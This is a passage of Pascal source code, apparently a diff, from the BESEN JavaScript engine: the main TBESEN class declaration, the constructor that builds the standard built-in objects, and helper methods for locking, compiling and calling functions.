BESENNativeCodeMemoryManager,BESENValueContainer,BESENObject, + BESENSelfBalancedTree,BESENGlobals,BESENErrors, + BESENPointerSelfBalancedTree,BESENInt64SelfBalancedTree, + BESENPointerList,BESENStringList,BESENIntegerList,BESENHashUtils, + BESENHashMap,BESENBaseObject,BESENCollectorObject,BESENCollector, + BESENGarbageCollector,BESENValue,BESENObjectPropertyDescriptor, + BESENRegExp,BESENCode,BESENCodeContext,BESENContext, + BESENEnvironmentRecord,BESENDeclarativeEnvironmentRecord, + BESENObjectEnvironmentRecord,BESENLexicalEnvironment, + BESENASTNodes,BESENCodeGeneratorContext,BESENParser, + BESENObjectPrototype,BESENObjectFunction, + BESENObjectConstructor,BESENObjectGlobal, + BESENObjectJSON,BESENObjectMath,BESENObjectFunctionArguments, + BESENObjectFunctionPrototype,BESENObjectFunctionConstructor, + BESENObjectDeclaredFunction,BESENObjectThrowTypeErrorFunction, + BESENObjectArgGetterFunction,BESENObjectArgSetterFunction, + BESENObjectBindingFunction,BESENObjectBoolean, + BESENObjectBooleanPrototype,BESENObjectBooleanConstructor, + BESENObjectRegExp,BESENObjectRegExpPrototype, + BESENObjectRegExpConstructor,BESENObjectDate, + BESENObjectDatePrototype,BESENObjectDateConstructor, + BESENObjectError,BESENObjectErrorPrototype, + BESENObjectErrorConstructor,BESENObjectNumber, + BESENObjectNumberPrototype,BESENObjectNumberConstructor, + BESENObjectString,BESENObjectStringPrototype, + BESENObjectStringConstructor,BESENObjectArray, + BESENObjectArrayPrototype,BESENObjectArrayConstructor, + BESENNativeObject,BESENRandomGenerator,BESENKeyIDManager, + BESENRegExpCache,BESENEvalCacheItem,BESENEvalCache, + BESENCompiler,BESENDecompiler,BESENLocale, + BESENCodeSnapshot; + +type TBESEN=class; + + TBESENTransitSecurityDomain=procedure(const Instance:TBESEN;const NewSecurityDomain:pointer) of object; + + TBESENTraceHook=function(const Instance:TBESEN;const Context:TBESENContext;const FunctionBody:TBESENASTNodeFunctionBody;PC:TBESENUINT32;const TraceType:TBESENTraceType):boolean of object; + + TBESENPeriodicHook=function(const Instance:TBESEN):boolean of object; + + TBESENRegExpDebugOutputHook=procedure(const Instance:TBESEN;const Data:{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENUTF8STRING{$endif};NewLine:TBESENBOOLEAN) of object; + + TBESEN=class + public + CriticalSection:TCriticalSection; + Collector:TBESENCollector; + GarbageCollector:TBESENGarbageCollector; + KeyIDManager:TBESENKeyIDManager; + ObjectStructureIDManager:TBESENObjectStructureIDManager; + RegExpCache:TBESENRegExpCache; + DefaultRegExp:TBESENRegExp; + EvalCache:TBESENEvalCache; + Compiler:TBESENCompiler; + Decompiler:TBESENDecompiler; + CodeSnapshot:TBESENCodeSnapshot; + NativeCodeMemoryManager:TBESENNativeCodeMemoryManager; + InlineCacheEnabled:TBESENBoolean; + ContextFirst,ContextLast:TBESENContext; + CodeFirst,CodeLast:TBESENCode; + ProgramNodes:TBESENPointerSelfBalancedTree; + IsStrict:longbool; + Compatibility:longword; + RecursionLimit:integer; + SecurityDomain:pointer; + TransitSecurityDomain:TBESENTransitSecurityDomain; + UseSecurity:TBESENBoolean; + CodeLineInfo:TBESENBoolean; + CodeTracable:TBESENBoolean; + RegExpDebug:TBESENUINT32; + RegExpTimeOutSteps:TBESENINT64; + TraceHook:TBESENTraceHook; + PeriodicHook:TBESENPeriodicHook; + RegExpDebugOutputHook:TBESENRegExpDebugOutputHook; + LineNumber:TBESENUINT32; + RandomGenerator:TBESENRandomGenerator; + RegExpMaxStatesHoldInMemory:integer; + JITLoopCompileThreshold:longword; + MaxCountOfFreeCodeContexts:integer; + MaxCountOfFreeContexts:integer; + ObjectPrototype:TBESENObjectPrototype; + ObjectConstructor:TBESENObjectConstructor; + ObjectFunctionPrototype:TBESENObjectFunctionPrototype; + ObjectFunctionConstructor:TBESENObjectFunctionConstructor; + ObjectBooleanPrototype:TBESENObjectBooleanPrototype; + ObjectBooleanConstructor:TBESENObjectBooleanConstructor; + ObjectRegExpPrototype:TBESENObjectRegExpPrototype; + ObjectRegExpConstructor:TBESENObjectRegExpConstructor; + ObjectDatePrototype:TBESENObjectDatePrototype; + ObjectDateConstructor:TBESENObjectDateConstructor; + ObjectErrorPrototype:TBESENObjectErrorPrototype; + ObjectEvalErrorPrototype:TBESENObjectErrorPrototype; + ObjectRangeErrorPrototype:TBESENObjectErrorPrototype; + ObjectReferenceErrorPrototype:TBESENObjectErrorPrototype; + ObjectSyntaxErrorPrototype:TBESENObjectErrorPrototype; + ObjectTypeErrorPrototype:TBESENObjectErrorPrototype; + ObjectURIErrorPrototype:TBESENObjectErrorPrototype; + ObjectErrorConstructor:TBESENObjectErrorConstructor; + ObjectEvalErrorConstructor:TBESENObjectErrorConstructor; + ObjectRangeErrorConstructor:TBESENObjectErrorConstructor; + ObjectReferenceErrorConstructor:TBESENObjectErrorConstructor; + ObjectSyntaxErrorConstructor:TBESENObjectErrorConstructor; + ObjectTypeErrorConstructor:TBESENObjectErrorConstructor; + ObjectURIErrorConstructor:TBESENObjectErrorConstructor; + ObjectNumberConstructor:TBESENObjectNumberConstructor; + ObjectNumberPrototype:TBESENObjectNumberPrototype; + ObjectStringPrototype:TBESENObjectStringPrototype; + ObjectStringConstructor:TBESENObjectStringConstructor; + ObjectArrayPrototype:TBESENObjectArrayPrototype; + ObjectArrayConstructor:TBESENObjectArrayConstructor; + ObjectJSON:TBESENObjectJSON; + ObjectMath:TBESENObjectMath; + ObjectEmpty:TBESENObject; + ObjectThrowTypeErrorFunction:TBESENObjectThrowTypeErrorFunction; + ObjectGlobal:TBESENObjectGlobal; + ObjectGlobalEval:TBESENObjectFunction; + GlobalLexicalEnvironment:TBESENLexicalEnvironment; + ObjectNumberConstructorValue:TBESENValue; + ObjectStringConstructorValue:TBESENValue; + constructor Create(ACompatibility:longword=0); overload; + destructor Destroy; override; + procedure Lock; + procedure Unlock; + procedure LockObject(Obj:TBESENGarbageCollectorObject); + procedure UnlockObject(Obj:TBESENGarbageCollectorObject); + procedure LockValue(const Value:TBESENValue); + procedure UnlockValue(const Value:TBESENValue); + function GetRandom:longword; + procedure RegisterNativeObject(const AName:TBESENString;const AClass:TBESENNativeObjectClass;const Attributes:TBESENObjectPropertyDescriptorAttributes=[bopaWRITABLE,bopaCONFIGURABLE]); + procedure FunctionCall(Obj:TBESENObject;const ThisArgument:TBESENValue;const Arguments:array of TBESENValue;var AResult:TBESENValue); + procedure FunctionConstruct(Obj:TBESENObject;const ThisArgument:TBESENValue;const Arguments:array of TBESENValue;var AResult:TBESENValue); + function MakeError(const Name:TBESENString;var ConstructorObject:TBESENObjectErrorConstructor;const ProtoProto:TBESENObject):TBESENObjectErrorPrototype; + function LoadFromStream(const Stream:TStream):TBESENASTNode; + procedure SaveToStream(const Stream:TStream;const RootNode:TBESENASTNode); + function Compile(InputSource:{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENUTF8STRING{$endif};const Parameters:{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENUTF8STRING{$endif}='';IsFunction:TBESENBoolean=false;IsJSON:TBESENBoolean=false):TBESENASTNode; + function Decompile(RootNode:TBESENASTNode):{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENUTF8STRING{$endif}; + function ObjectInstanceOf(const v:TBESENValue;Obj:TBESENObject):boolean; + function MakeFunction(Node:TBESENASTNodeFunctionLiteral;Name:TBESENString;ParentLexicalEnvironment:TBESENLexicalEnvironment=nil):TBESENObjectDeclaredFunction; + function Execute(Source:{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENUTF8STRING{$endif};const ThisArgument:TBESENValue;const PrecompiledASTNode:TBESENASTNode=nil;const IsEval:TBESENBoolean=false):TBESENValue; overload; + function Execute(Source:{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENUTF8STRING{$endif};const PrecompiledASTNode:TBESENASTNode=nil;const IsEval:TBESENBoolean=false):TBESENValue; overload; + function Eval(Source:{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENUTF8STRING{$endif};const ThisArgument:TBESENValue;const PrecompiledASTNode:TBESENASTNode=nil):TBESENValue; overload; + function Eval(Source:{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENUTF8STRING{$endif};const PrecompiledASTNode:TBESENASTNode=nil):TBESENValue; overload; + function JSONEval(Source:{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENUTF8STRING{$endif};const PrecompiledASTNode:TBESENASTNode=nil):TBESENValue; overload; + function JSONStringify(const Value:TBESENValue):TBESENValue; overload; + function JSONStringify(const Value,Replacer:TBESENValue):TBESENValue; overload; + function JSONStringify(const Value,Replacer,Space:TBESENValue):TBESENValue; overload; + procedure InjectObject(Name,Source:{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENUTF8STRING{$endif}); + function NewDeclarativeEnvironment(const Environment:TBESENLexicalEnvironment;const IsItStrict,HasMaybeDirectEval:TBESENBoolean):TBESENLexicalEnvironment; + function NewObjectEnvironment(const BindingObject:TBESENObject;const Environment:TBESENLexicalEnvironment;const IsItStrict,HasMaybeDirectEval:TBESENBoolean):TBESENLexicalEnvironment; + function ParseNumber(const s:TBESENString):TBESENNumber; + procedure ToPrimitiveValue(const AValue,AType:TBESENValue;var AResult:TBESENValue); overload; + procedure ToPrimitiveValue(const AValue:TBESENValue;var AResult:TBESENValue); overload; + procedure ToBooleanValue(const AValue:TBESENValue;var AResult:TBESENValue); + procedure ToNumberValue(const AValue:TBESENValue;var AResult:TBESENValue); + procedure ToIntegerValue(const AValue:TBESENValue;var AResult:TBESENValue); + procedure ToStringValue(const AValue:TBESENValue;var AResult:TBESENValue); + procedure ToObjectValue(const AValue:TBESENValue;var AResult:TBESENValue); + function ToInt(const AValue:TBESENValue):int64; + function ToInt32(const AValue:TBESENValue):TBESENINT32; + function ToUInt32(const AValue:TBESENValue):TBESENUINT32; + function ToInt16(const AValue:TBESENValue):TBESENINT16; + function ToUInt16(const AValue:TBESENValue):TBESENUINT16; + function ToBool(const AValue:TBESENValue):TBESENBoolean; + function ToNum(const AValue:TBESENValue):TBESENNumber; + function ToStr(const AValue:TBESENValue):TBESENString; + function ToObj(const AValue:TBESENValue):TBESENObject; + procedure EqualityExpressionSub(const a,b:TBESENValue;var AResult:TBESENValue); + function EqualityExpressionEquals(const a,b:TBESENValue):boolean; + function EqualityExpressionCompare(const a,b:TBESENValue):integer; + procedure FromPropertyDescriptor(const Descriptor:TBESENObjectPropertyDescriptor;var AResult:TBESENValue); + procedure ToPropertyDescriptor(const v:TBESENValue;var AResult:TBESENObjectPropertyDescriptor); + function SameValue(const va,vb:TBESENValue):TBESENBoolean; overload; + function SameValue(const oa,ob:TBESENObject):TBESENBoolean; overload; + function SameObject(const oa,ob:TBESENObject):TBESENBoolean; + procedure AddProgramNode(Node:TBESENASTNodeProgram); + procedure RemoveProgramNode(Node:TBESENASTNodeProgram); + procedure GlobalEval(const Context:TBESENContext;const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;const DirectCall:boolean;var AResult:TBESENValue); + procedure ObjectCallConstruct(Obj:TBESENObject;const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;Construct:boolean;var AResult:TBESENValue); + procedure ObjectCall(Obj:TBESENObject;const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); + procedure ObjectConstruct(Obj:TBESENObject;const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); + property PropertyCacheEnabled:TBESENBoolean read InlineCacheEnabled write InlineCacheEnabled; + end; + +implementation + +uses BESENLexer,BESENNumberUtils,BESENUtils,BESENStringTree,BESENDateUtils,BESENArrayUtils; + +constructor TBESEN.Create(ACompatibility:longword=0); +var v:TBESENValue; +begin + inherited Create; + InlineCacheEnabled:=true; + ContextFirst:=nil; + ContextLast:=nil; + CodeFirst:=nil; + CodeLast:=nil; + CriticalSection:=TCriticalSection.Create; + Collector:=TBESENCollector.Create(self); + GarbageCollector:=TBESENGarbageCollector.Create(self); + KeyIDManager:=TBESENKeyIDManager.Create(self); + ObjectStructureIDManager:=TBESENObjectStructureIDManager.Create(self); + Compiler:=TBESENCompiler.Create(self); + Decompiler:=TBESENDecompiler.Create(self); + CodeSnapshot:=TBESENCodeSnapshot.Create(self); + NativeCodeMemoryManager:=TBESENNativeCodeMemoryManager.Create; + ProgramNodes:=TBESENPointerSelfBalancedTree.Create; + IsStrict:=false; + Compatibility:=ACompatibility; + RecursionLimit:=-1; + SecurityDomain:=nil; + TransitSecurityDomain:=nil; + UseSecurity:=false; + CodeLineInfo:=true; + CodeTracable:=false; + RegExpDebug:=0; + RegExpTimeOutSteps:=0; + TraceHook:=nil; + PeriodicHook:=nil; + RegExpDebugOutputHook:=nil; + LineNumber:=0; + RandomGenerator:=TBESENRandomGenerator.Create(self); + RegExpMaxStatesHoldInMemory:=breMAXSTATESHOLDINMEMORY; + JITLoopCompileThreshold:=BESEN_JIT_LOOPCOMPILETHRESHOLD; + MaxCountOfFreeCodeContexts:=BESENMaxCountOfFreeCodeContexts; + MaxCountOfFreeContexts:=BESENMaxCountOfFreeContexts; + + RegExpCache:=TBESENRegExpCache.Create(self); + DefaultRegExp:=TBESENRegExp.Create(selF); + + EvalCache:=TBESENEvalCache.Create(self); + + v:=BESENEmptyValue; + + ObjectPrototype:=nil; + + begin + ObjectFunctionPrototype:=TBESENObjectFunctionPrototype.Create(self,ObjectPrototype,false); + GarbageCollector.AddRoot(ObjectFunctionPrototype); + ObjectFunctionPrototype.RegisterNativeFunction('toString',ObjectFunctionPrototype.NativeToString,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + ObjectFunctionPrototype.RegisterNativeFunction('apply',ObjectFunctionPrototype.NativeApply,2,[bopaWRITABLE,bopaCONFIGURABLE],false); + ObjectFunctionPrototype.RegisterNativeFunction('call',ObjectFunctionPrototype.NativeCall,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + ObjectFunctionPrototype.RegisterNativeFunction('bind',ObjectFunctionPrototype.NativeBind,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + + ObjectPrototype:=TBESENObjectPrototype.Create(self,nil,false); + GarbageCollector.AddRoot(ObjectPrototype); + + ObjectFunctionPrototype.Prototype:=ObjectPrototype; + + ObjectFunctionConstructor:=TBESENObjectFunctionConstructor.Create(self,ObjectFunctionPrototype,true); + GarbageCollector.AddRoot(ObjectFunctionConstructor); + + ObjectFunctionPrototype.OverwriteData('constructor',BESENObjectValue(ObjectFunctionConstructor),[bopaWRITABLE,bopaCONFIGURABLE]); + end; + + begin + ObjectBooleanPrototype:=TBESENObjectBooleanPrototype.Create(self,ObjectPrototype,false); + GarbageCollector.AddRoot(ObjectBooleanPrototype); + + ObjectBooleanConstructor:=TBESENObjectBooleanConstructor.Create(self,ObjectFunctionPrototype,false); + GarbageCollector.AddRoot(ObjectBooleanConstructor); + + ObjectBooleanConstructor.OverwriteData('prototype',BESENObjectValue(ObjectBooleanPrototype),[]); + + ObjectBooleanPrototype.OverwriteData('constructor',BESENObjectValue(ObjectBooleanConstructor),[bopaWRITABLE,bopaCONFIGURABLE]); + end; + + begin + ObjectRegExpPrototype:=TBESENObjectRegExpPrototype.Create(self,ObjectPrototype,false); + GarbageCollector.AddRoot(ObjectRegExpPrototype); + + ObjectRegExpConstructor:=TBESENObjectRegExpConstructor.Create(self,ObjectFunctionPrototype,false); + GarbageCollector.AddRoot(ObjectRegExpConstructor); + + ObjectRegExpConstructor.OverwriteData('prototype',BESENObjectValue(ObjectRegExpPrototype),[]); + + ObjectRegExpPrototype.OverwriteData('constructor',BESENObjectValue(ObjectRegExpConstructor),[bopaWRITABLE,bopaCONFIGURABLE]); + end; + + begin + ObjectDatePrototype:=TBESENObjectDatePrototype.Create(self,ObjectPrototype,false); + GarbageCollector.AddRoot(ObjectDatePrototype); + + ObjectDateConstructor:=TBESENObjectDateConstructor.Create(self,ObjectFunctionPrototype,false); + GarbageCollector.AddRoot(ObjectDateConstructor); + + ObjectDateConstructor.OverwriteData('prototype',BESENObjectValue(ObjectDatePrototype),[]); + + ObjectDatePrototype.OverwriteData('constructor',BESENObjectValue(ObjectDateConstructor),[bopaWRITABLE,bopaCONFIGURABLE]); + end; + + begin + ObjectErrorPrototype:=TBESENObjectErrorPrototype.Create(self,ObjectPrototype,false); + GarbageCollector.AddRoot(ObjectErrorPrototype); + + ObjectErrorConstructor:=TBESENObjectErrorConstructor.Create(self,ObjectFunctionPrototype,false); + GarbageCollector.AddRoot(ObjectErrorConstructor); + ObjectErrorConstructor.OverwriteData('prototype',BESENObjectValueEx(ObjectErrorPrototype),[]); + v:=BESENStringValue('Error'); + ObjectErrorConstructor.OverwriteData('name',v,[bopaWRITABLE,bopaCONFIGURABLE]); + + v:=BESENObjectValue(ObjectErrorConstructor); + ObjectErrorPrototype.OverwriteData('constructor',v,[bopaWRITABLE,bopaCONFIGURABLE]); + + ObjectEvalErrorPrototype:=MakeError('EvalError',ObjectEvalErrorConstructor,ObjectErrorPrototype); + ObjectRangeErrorPrototype:=MakeError('RangeError',ObjectRangeErrorConstructor,ObjectErrorPrototype); + ObjectReferenceErrorPrototype:=MakeError('ReferenceError',ObjectReferenceErrorConstructor,ObjectErrorPrototype); + ObjectSyntaxErrorPrototype:=MakeError('SyntaxError',ObjectSyntaxErrorConstructor,ObjectErrorPrototype); + ObjectTypeErrorPrototype:=MakeError('TypeError',ObjectTypeErrorConstructor,ObjectErrorPrototype); + ObjectURIErrorPrototype:=MakeError('URIError',ObjectURIErrorConstructor,ObjectErrorPrototype); + + GarbageCollector.AddRoot(ObjectEvalErrorPrototype); + GarbageCollector.AddRoot(ObjectRangeErrorPrototype); + GarbageCollector.AddRoot(ObjectReferenceErrorPrototype); + GarbageCollector.AddRoot(ObjectSyntaxErrorPrototype); + GarbageCollector.AddRoot(ObjectTypeErrorPrototype); + GarbageCollector.AddRoot(ObjectURIErrorPrototype); + + GarbageCollector.AddRoot(ObjectEvalErrorConstructor); + GarbageCollector.AddRoot(ObjectRangeErrorConstructor); + GarbageCollector.AddRoot(ObjectReferenceErrorConstructor); + GarbageCollector.AddRoot(ObjectSyntaxErrorConstructor); + GarbageCollector.AddRoot(ObjectTypeErrorConstructor); + GarbageCollector.AddRoot(ObjectURIErrorConstructor); + end; + + begin + ObjectNumberPrototype:=TBESENObjectNumberPrototype.Create(self,ObjectPrototype,false); + GarbageCollector.AddRoot(ObjectNumberPrototype); + + ObjectNumberConstructor:=TBESENObjectNumberConstructor.Create(self,ObjectFunctionPrototype,false); + GarbageCollector.AddRoot(ObjectNumberConstructor); + + ObjectNumberConstructor.OverwriteData('prototype',BESENObjectValue(ObjectNumberPrototype),[]); + + ObjectNumberPrototype.OverwriteData('constructor',BESENObjectValue(ObjectNumberConstructor),[bopaWRITABLE,bopaCONFIGURABLE]); + end; + + begin + ObjectStringPrototype:=TBESENObjectStringPrototype.Create(self,ObjectPrototype,false); + GarbageCollector.AddRoot(ObjectStringPrototype); + + ObjectStringConstructor:=TBESENObjectStringConstructor.Create(self,ObjectFunctionPrototype,false); + GarbageCollector.AddRoot(ObjectStringConstructor); + + ObjectStringConstructor.OverwriteData('prototype',BESENObjectValue(ObjectStringPrototype),[]); + + ObjectStringPrototype.OverwriteData('constructor',BESENObjectValue(ObjectStringConstructor),[bopaWRITABLE,bopaCONFIGURABLE]); + end; + + begin + ObjectArrayPrototype:=TBESENObjectArrayPrototype.Create(self,ObjectPrototype,false); + GarbageCollector.AddRoot(ObjectArrayPrototype); + + ObjectArrayConstructor:=TBESENObjectArrayConstructor.Create(self,ObjectFunctionPrototype,false); + GarbageCollector.AddRoot(ObjectArrayConstructor); + + ObjectArrayConstructor.OverwriteData('prototype',BESENObjectValue(ObjectArrayPrototype),[]); + + ObjectArrayPrototype.OverwriteData('constructor',BESENObjectValue(ObjectArrayConstructor),[bopaWRITABLE,bopaCONFIGURABLE]); + end; + + begin + ObjectJSON:=TBESENObjectJSON.Create(self,ObjectPrototype,false); + GarbageCollector.AddRoot(ObjectJSON); + end; + + begin + ObjectMath:=TBESENObjectMath.Create(self,ObjectPrototype,false); + GarbageCollector.AddRoot(ObjectMath); + end; + + begin + ObjectEmpty:=TBESENObject.Create(self,ObjectPrototype,false); + GarbageCollector.AddRoot(ObjectEmpty); + end; + + begin + ObjectThrowTypeErrorFunction:=TBESENObjectThrowTypeErrorFunction.Create(self,ObjectFunctionPrototype,true); + GarbageCollector.AddRoot(ObjectThrowTypeErrorFunction); + end; + + begin + ObjectConstructor:=TBESENObjectConstructor.Create(self,ObjectFunctionPrototype,false); + GarbageCollector.AddRoot(ObjectConstructor); + + ObjectConstructor.OverwriteData('prototype',BESENObjectValue(ObjectPrototype),[]); + + ObjectPrototype.OverwriteData('constructor',BESENObjectValue(ObjectConstructor),[bopaWRITABLE,bopaCONFIGURABLE]); + end; + + if (Compatibility and COMPAT_JS)<>0 then begin + ObjectGlobal:=TBESENObjectGlobal.Create(self,ObjectPrototype,true); + end else begin + ObjectGlobal:=TBESENObjectGlobal.Create(self,nil,false); + end; + GarbageCollector.AddRoot(ObjectGlobal); + + ObjectGlobal.Get('eval',v); + if v.ValueType=bvtOBJECT then begin + ObjectGlobalEval:=TBESENObjectFunction(TBESENObject(v.Obj)); + end else begin + ObjectGlobalEval:=nil; + end; + if (Compatibility and COMPAT_JS)<>0 then begin + ObjectPrototype.OverwriteData('eval',v,[bopaWRITABLE,bopaCONFIGURABLE]); + end; + + v:=BESENObjectValue(ObjectConstructor); + ObjectGlobal.OverwriteData('Object',v,[bopaWRITABLE,bopaCONFIGURABLE]); + + v:=BESENObjectValue(ObjectFunctionConstructor); + ObjectGlobal.OverwriteData('Function',v,[bopaWRITABLE,bopaCONFIGURABLE]); + + v:=BESENObjectValue(ObjectBooleanConstructor); + ObjectGlobal.OverwriteData('Boolean',v,[bopaWRITABLE,bopaCONFIGURABLE]); + + v:=BESENObjectValue(ObjectRegExpConstructor); + ObjectGlobal.OverwriteData('RegExp',v,[bopaWRITABLE,bopaCONFIGURABLE]); + + v:=BESENObjectValue(ObjectDateConstructor); + ObjectGlobal.OverwriteData('Date',v,[bopaWRITABLE,bopaCONFIGURABLE]); + + v:=BESENObjectValue(ObjectNumberConstructor); + ObjectGlobal.OverwriteData('Number',v,[bopaWRITABLE,bopaCONFIGURABLE]); + + v:=BESENObjectValue(ObjectStringConstructor); + ObjectGlobal.OverwriteData('String',v,[bopaWRITABLE,bopaCONFIGURABLE]); + + v:=BESENObjectValue(ObjectArrayConstructor); + ObjectGlobal.OverwriteData('Array',v,[bopaWRITABLE,bopaCONFIGURABLE]); + + v:=BESENObjectValue(ObjectJSON); + ObjectGlobal.OverwriteData('JSON',v,[bopaWRITABLE,bopaCONFIGURABLE]); + + v:=BESENObjectValue(ObjectMath); + ObjectGlobal.OverwriteData('Math',v,[bopaWRITABLE,bopaCONFIGURABLE]); + + v:=BESENObjectValue(ObjectErrorConstructor); + ObjectGlobal.OverwriteData('Error',v,[bopaWRITABLE,bopaCONFIGURABLE]); + + v:=BESENObjectValue(ObjectEvalErrorConstructor); + ObjectGlobal.OverwriteData('EvalError',v,[bopaWRITABLE,bopaCONFIGURABLE]); + + v:=BESENObjectValue(ObjectRangeErrorConstructor); + ObjectGlobal.OverwriteData('RangeError',v,[bopaWRITABLE,bopaCONFIGURABLE]); + + v:=BESENObjectValue(ObjectReferenceErrorConstructor); + ObjectGlobal.OverwriteData('ReferenceError',v,[bopaWRITABLE,bopaCONFIGURABLE]); + + v:=BESENObjectValue(ObjectSyntaxErrorConstructor); + ObjectGlobal.OverwriteData('SyntaxError',v,[bopaWRITABLE,bopaCONFIGURABLE]); + + v:=BESENObjectValue(ObjectTypeErrorConstructor); + ObjectGlobal.OverwriteData('TypeError',v,[bopaWRITABLE,bopaCONFIGURABLE]); + + v:=BESENObjectValue(ObjectURIErrorConstructor); + ObjectGlobal.OverwriteData('URIError',v,[bopaWRITABLE,bopaCONFIGURABLE]); + + GlobalLexicalEnvironment:=NewObjectEnvironment(ObjectGlobal,nil,false,false); + GarbageCollector.AddRoot(GlobalLexicalEnvironment); + + ObjectNumberConstructorValue:=BESENObjectValue(ObjectNumberConstructor); + ObjectStringConstructorValue:=BESENObjectValue(ObjectStringConstructor); +end; + +destructor TBESEN.Destroy; +begin + TBESENObjectEnvironmentRecord(GlobalLexicalEnvironment.EnvironmentRecord).BindingObject:=nil; + + EvalCache.Free; + + GarbageCollector.Free; + + ProgramNodes.Free; + + DefaultRegExp.Free; + + RegExpCache.Free; + + Collector.Free; + + NativeCodeMemoryManager.Free; + + CodeSnapshot.Free; + + Decompiler.Free; + + Compiler.Free; + + ObjectStructureIDManager.Free; + + KeyIDManager.Free; + + CriticalSection.Free; + + inherited Destroy; +end; + +procedure TBESEN.Lock; +begin + CriticalSection.Enter; +end; + +procedure TBESEN.Unlock; +begin + CriticalSection.Leave; +end; + +procedure TBESEN.LockObject(Obj:TBESENGarbageCollectorObject); +begin + GarbageCollector.LockObject(Obj); +end; + +procedure TBESEN.UnlockObject(Obj:TBESENGarbageCollectorObject); +begin + GarbageCollector.UnlockObject(Obj); +end; + +procedure TBESEN.LockValue(const Value:TBESENValue); +begin + GarbageCollector.LockValue(Value); +end; + +procedure TBESEN.UnlockValue(const Value:TBESENValue); +begin + GarbageCollector.UnlockValue(Value); +end; + +function TBESEN.GetRandom:longword; +begin + result:=RandomGenerator.Get; +end; + +procedure TBESEN.RegisterNativeObject(const AName:TBESENString;const AClass:TBESENNativeObjectClass;const Attributes:TBESENObjectPropertyDescriptorAttributes=[bopaWRITABLE,bopaCONFIGURABLE]); +var v:TBESENValue; +begin + v.ValueType:=bvtOBJECT; + TBESENObject(v.Obj):=AClass.Create(self,ObjectPrototype); + GarbageCollector.AddRoot(TBESENObject(v.Obj)); + ObjectGlobal.OverwriteData(AName,v,Attributes); +end; + +function TBESEN.MakeError(const Name:TBESENString;var ConstructorObject:TBESENObjectErrorConstructor;const ProtoProto:TBESENObject):TBESENObjectErrorPrototype; +var v:TBESENValue; +begin + result:=TBESENObjectErrorPrototype.Create(self,ProtoProto,false); + + ConstructorObject:=TBESENObjectErrorConstructor.Create(self,ObjectFunctionPrototype,false); + ConstructorObject.OverwriteData('prototype',BESENObjectValueEx(result),[]); + + v:=BESENEmptyValue; + v:=BESENObjectValue(ConstructorObject); + result.OverwriteData('constructor',v,[bopaWRITABLE,bopaCONFIGURABLE]); + + v:=BESENStringValue(Name); + result.OverwriteData('name',v,[bopaWRITABLE,bopaCONFIGURABLE]); + result.OverwriteData('message',v,[bopaWRITABLE,bopaCONFIGURABLE]); + + v:=BESENNumberValue(1); + result.OverwriteData('length',v,[bopaWRITABLE,bopaCONFIGURABLE]); + + v:=BESENObjectValue(result); + ConstructorObject.OverwriteData('constructor',v,[bopaWRITABLE,bopaCONFIGURABLE]); +end; + +function TBESEN.LoadFromStream(const Stream:TStream):TBESENASTNode; +begin + result:=CodeSnapshot.LoadFromStream(Stream); +end; + +procedure TBESEN.SaveToStream(const Stream:TStream;const RootNode:TBESENASTNode); +begin + CodeSnapshot.SaveToStream(Stream,RootNode); +end; + +function TBESEN.Compile(InputSource:{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENUTF8STRING{$endif};const Parameters:{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENUTF8STRING{$endif}='';IsFunction:TBESENBoolean=false;IsJSON:TBESENBoolean=false):TBESENASTNode; +begin + result:=Compiler.Compile(InputSource,Parameters,IsFunction,IsJSON); +end; + +function TBESEN.Decompile(RootNode:TBESENASTNode):{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENUTF8STRING{$endif}; +begin + result:=Decompiler.Decompile(RootNode); +end; + +function TBESEN.ObjectInstanceOf(const v:TBESENValue;Obj:TBESENObject):boolean; +var vp:TBESENValue; + o:TBESENObject; +begin + if not assigned(Obj) then begin + raise EBESENTypeError.Create('Null object'); + end; + if Obj.HasHasInstance then begin + result:=Obj.HasInstance(v); + end else if (Compatibility and COMPAT_JS)<>0 then begin + if (v.ValueType<>bvtOBJECT) or not assigned(TBESENObject(v.Obj)) then begin + result:=false; + end else begin + Obj.Get('prototype',vp); + result:=false; + if (vp.ValueType=bvtOBJECT) and assigned(vp.Obj) then begin + o:=TBESENObject(v.Obj); + while assigned(o) do begin + if o.Prototype=vp.Obj then begin + result:=true; + break; + end; + o:=o.Prototype; + end; + end; + end; + end else begin + raise EBESENTypeError.Create('No hasInstance'); + end; +end; + +procedure TBESEN.ObjectCallConstruct(Obj:TBESENObject;const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;Construct:boolean;var AResult:TBESENValue); +var OldRecursionLimit:integer; + OldSecurityDomain:pointer; +begin + if not assigned(Obj) then begin + BESENThrowTypeError('Null object'); + end; + OldRecursionLimit:=RecursionLimit; + OldSecurityDomain:=SecurityDomain; + if RecursionLimit=0 then begin + BESENThrowRecursionLimitReached; + end else if RecursionLimit>0 then begin + dec(RecursionLimit); + end; + if UseSecurity and assigned(TransitSecurityDomain) and Obj.HasGetSecurityDomain then begin + SecurityDomain:=Obj.GetSecurityDomain; + if SecurityDomain<>OldSecurityDomain then begin + TransitSecurityDomain(self,SecurityDomain); + end; + end; + try + if Construct then begin + if Obj.HasConstruct then begin + Obj.Construct(ThisArgument,Arguments,CountArguments,AResult); + end else begin + BESENThrowTypeError('No constructable'); + end; + end else begin + if Obj.HasCall then begin + Obj.Call(ThisArgument,Arguments,CountArguments,AResult); + end else begin + BESENThrowTypeError('No callable'); + end; + end; + finally + SecurityDomain:=OldSecurityDomain; + 